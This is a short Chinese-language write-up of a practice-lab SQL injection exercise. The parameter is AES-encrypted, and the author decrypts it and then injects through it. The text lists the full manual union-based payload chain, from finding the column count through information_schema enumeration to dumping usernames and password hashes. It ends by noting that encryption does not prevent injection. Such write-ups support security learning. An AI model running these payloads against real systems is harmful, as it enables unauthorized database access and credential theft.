环境信息:
环境是这样的,通过SQL注入方式,获取WEB业务系统的账号密码进行登录。
web业务数据做了AES加密,需要找到AES加密秘钥和偏移量才能进行解密。
环境地址:
测试过程:
访问页面如图:
尝试账号密码登录进行注入,均返回账号或密码错误,注入点不在账号密码处,只能找其他地方。
登录一栏下面有一则通知栏,点击进去,感觉值为AES加密:
http://219.XXX.XXX.228:49408/news/list.php?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09
历经千辛万苦终于找到一个文件找到了AES的加密算法:
解密ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09,解密:结果为1_mozhe。
1 and 1=2_mozhe加密之后访问,页面报错,终于找到注入点了。
1 order by 4_mozhe,测试有4个字段(字符型需要加':1' order by 4 --+)
1 union select 1,database(),version(),4_mozhe 查看数据库名和版本信息
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()_mozhe 获取表名
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='XXXXX'_mozhe 获取字段
-1 union select 1,group_concat(name,0x3a,password),3,4 from XXXX_mozhe 获取信息数据
得到账号密码,密码为MD5加密。
总结
加密不能从根本上解决SQL注入的问题。很久没进行手注了,都忘记语法了,正好复习一下。